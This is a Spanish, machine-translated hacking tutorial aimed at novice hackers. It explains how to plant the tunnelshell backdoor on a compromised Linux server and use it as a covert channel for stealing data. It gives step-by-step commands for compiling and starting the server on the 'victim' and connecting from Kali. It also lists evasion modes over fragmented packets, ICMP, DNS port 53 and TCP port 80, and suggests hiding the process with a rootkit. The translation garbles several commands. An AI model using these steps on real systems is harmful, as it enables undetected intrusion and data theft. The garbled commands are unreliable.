Vous êtes sur la page 1sur 7

Tunnelshell

Si un pirata informático está buscando información o datos, necesita una forma de sacar los
datos del sistema o red objetivo. De manera óptima, quieren obtener los datos de una manera
que los dispositivos de seguridad o los administradores de seguridad no detecten. En este
tutorial, veremos la creación de un canal encubierto que podemos usar para extraer los datos
con pocas posibilidades de ser detectado usando una herramienta llamada tunnelshell.

Los fundamentos de Tunnelshell y cómo funciona

Tunnelshell es un pequeño y dulce programa que solo funciona en servidores Linux / Unix
comprometidos. Dado que muchos servidores corporativos e institucionales de gran tamaño
tienen algún sabor de la familia Unix (AIX, HP-UX, Solaris, IRIS, Linux, etc.), no debería haber
un impedimento significativo para usar tunnelshell para exfiltrar (eliminar) datos.
Por supuesto, no funcionará en la extracción de datos de la computadora de su ex esposa o
novia, ni siquiera una empresa pequeña o mediana que use una de las muchas versiones de
Windows Server (2003, 2008, 2012), pero lo hará Trabaja en los servidores grandes, que es
donde están todos los objetos valiosos.

Opera en la arquitectura familiar de cliente / servidor como la mayoría de las aplicaciones Linux
/ Unix. La belleza de Tunnelshell es que funcionará en múltiples protocolos, incluidos TCP, UDP,
ICMP y RawIP. Además, es capaz de fragmentar paquetes para superar firewalls y sistemas de
detección de intrusos.

En los modos TCP y UDP, no requiere el enlace a un socket o puerto, por lo que cuando la
víctima ejecuta netsat, no aparecerá ningún puerto abierto (pero aparecerá en la lista de
procesos). En el modo TCP, no se ejecuta ningún handshake de tres vías (SYN, SYN-ACK,
ACK), por lo que no se registrará ninguna dirección IP.
En el modo ICMP, tunnelshell utiliza la solicitud de eco ICMP / respuesta de eco (tipo 8 y tipo 0)
para transportar los datos. Por lo tanto, parece ser un ping continuo que se ejecuta entre los
sistemas. Aunque muchos enrutadores y cortafuegos bloquean el ingreso de ICMP,
normalmente no bloquean la salida de ICMP, ya que los usuarios y administradores deben usar
ping para encontrar hosts activos.

Usando Tunnelshell para un canal encubierto indetectable


Desafortunadamente, Kali no incluye túneles. Creo que puedes entender que los
desarrolladores de Kali no pudieron incluir todas las herramientas de seguridad y piratería
disponibles. En este tutorial, crearé un túnel entre nuestro sistema Kali y un sistema Linux
comprometido. En este caso, usaré BackTrack 5v3 (que se basa en Ubuntu) como mi víctima,
pero cualquiera de los sabores de UNIX / Linux funcionará como una víctima adecuada.

Step 1Fire Up Kali Paso 1: Enciende Kali


Enciende Kali y vamos a descargar Tunnelshell. Normalmente, podríamos usar apt-get o la
utilidad gráfica Add / Remove Software de Kali, pero como tunnelshell no está en el repositorio
de Kali, no es una opción. Existen numerosas maneras de que podamos descargarlo, pero
usemos la forma antigua de simplemente ir al sitio web y descargarlo.
Navegue a Packet Storm Security para descargar Tunnelshell. Tenga en cuenta que se trata de
un archivo .tgz, lo que significa que es un archivo comprimido .tar. Esto significa que
necesitaremos descomprimirlo y descomprimirlo antes de que podamos usarlo.

En la captura de pantalla siguiente, la descargué en BackTrack. Obviamente, si este fuera el


sistema de víctimas, esta no sería la forma más fácil o sigilosa de obtener túneles con ese
sistema. En realidad, podría TFTP desde mi sistema de ataque a la víctima, o si tengo el
Meterpreter de Metasploit en la víctima, tengo el comando de carga incorporado allí.
En la siguiente captura de pantalla, puede ver que he descargado exitosamente túneles de
túnel a la víctima.

También necesito descargarlo a mi sistema Kali. He resaltado el archivo tunnelshell en mi


directorio raíz de usuarios. No importa en qué directorio lo coloque, simplemente recuerde
dónde lo colocó y ejecute los comandos desde ese directorio.
Step 2Untar & Uncompress Tunnelshell Paso 2: Descomprime y Descomprime Tunnelshell
Para descomprimir túneles, escribe:
kali> tar xvfz tunnelshell_2.3.tgz

Para compilar nuestra nueva herramienta, simplemente escriba:

kali> hacer

Step 3Activate Tunnelshell on the Victim Paso 3: activar Tunnelshell en la víctima


Ahora que hemos descargado y compilado tunnelshell en el sistema de la víctima, lo único que
tenemos que hacer es escribir:
kali> ./tunneld

Esto abre el servidor en el sistema de la víctima esperando nuestra conexión del cliente (el
atacante). Como no utilizamos ningún conmutador para activar Tunnelshell, se ejecuta en la
configuración predeterminada mediante la fragmentación de paquetes.
La belleza de esta configuración predeterminada es que envía paquetes fragmentados (los
paquetes se dividen en piezas que se vuelven a ensamblar en el destino, un método probado y
verdadero para evadir la detección) que pueden eludir sin detección casi todos los firewalls e
IDS.

Step 4Connect to the Tunnel Paso 4: Conéctate al túnel


Ahora, solo tenemos que conectarnos al daemon tunnelshell (un servicio en segundo plano) en
la víctima. La sintaxis es simple, simplemente escribimos:

kali> ./tunnel -t frag 192.168.89.191


• -t - este modificador precede al tipo de túnel
• frag : define el tipo
• 192.168.89.191 - la dirección IP de la víctima donde se ejecuta el servidor tunnelshell
Cuando hacemos esto, tunnelshell se conecta, pero no nos da un símbolo del sistema, sino una
línea en blanco. Entonces podemos escribir cualquier comando de Linux y devuelve el
resultado como si estuviéramos en un indicador de Linux.
Entonces, a continuación, escribí pwd (directorio de trabajo actual) y devolvió el directorio que
el túnel está ejecutando en la víctima, / tmp . Cuando escribo ls -l , proporciona una lista larga
del directorio / tmp. Luego puedo seguir y escribir cualquier comando de Linux desde este shell.
Step 5Trying to Detect Tunneshell on the Victim Paso 5: tratando de detectar Tunneshell en la
víctima
Ahora que hemos establecido un túnel entre la víctima y el atacante, vamos a verificar si la
víctima puede detectar nuestro túnel. Vayamos al sistema de víctimas (en este caso BackTrack
en Ubuntu) y veamos si, como administrador de sistemas, podemos detectar el túnel.
Primero, probemos netstat, que debería mostrarnos todas las conexiones actuales a nuestra
computadora. Cuando escribimos netstat en la víctima, puede ver muchas conexiones, pero no
nuestro túnel.
La única debilidad de Tunnelshell es que, a menos que podamos insertar un rootkit que oculte
su proceso, como con Knark, sí aparece en nuestra lista de procesos como se muestra a
continuación.

Otras configuraciones
Aquí usamos tunnelshell en su configuración predeterminada utilizando la fragmentación de
paquetes, pero túneleshell también puede usar ICMP, TCP, UDP y RawIP, todos los cuales
podrían ser más útiles dependiendo de las circunstancias.
ICMP
Para ejecutar tunnelshell en modo ICMP, puede iniciar el servidor con:
./tunneld -t icmp -m eco-respuesta

Y el cliente con:
./tunnel -t icmp -m echo-reply, echo <IPaddressofvictim>

UDP
Para ejecutar tunnelshell en modo UDP a través de DNS, puede iniciar el servidor con:

./tunneld -t udp -p 53, 2000


Y el cliente con:
./tunnel -t udp -p 53, 2000 <IPaddressofvictim>

TCP
Para iniciar tunnelshell en modo TCP a través del puerto 80, puede iniciar el servidor con:
./tunneld -t tcp -p 80, 2000
Y el cliente con:

./tunnel -t tcp -p 80, 2000 <IPaddressofvictim>


¡Sigue volviendo, mis hackers novatos, mientras exploramos más técnicas y herramientas del
universo hacker!

Vous aimerez peut-être aussi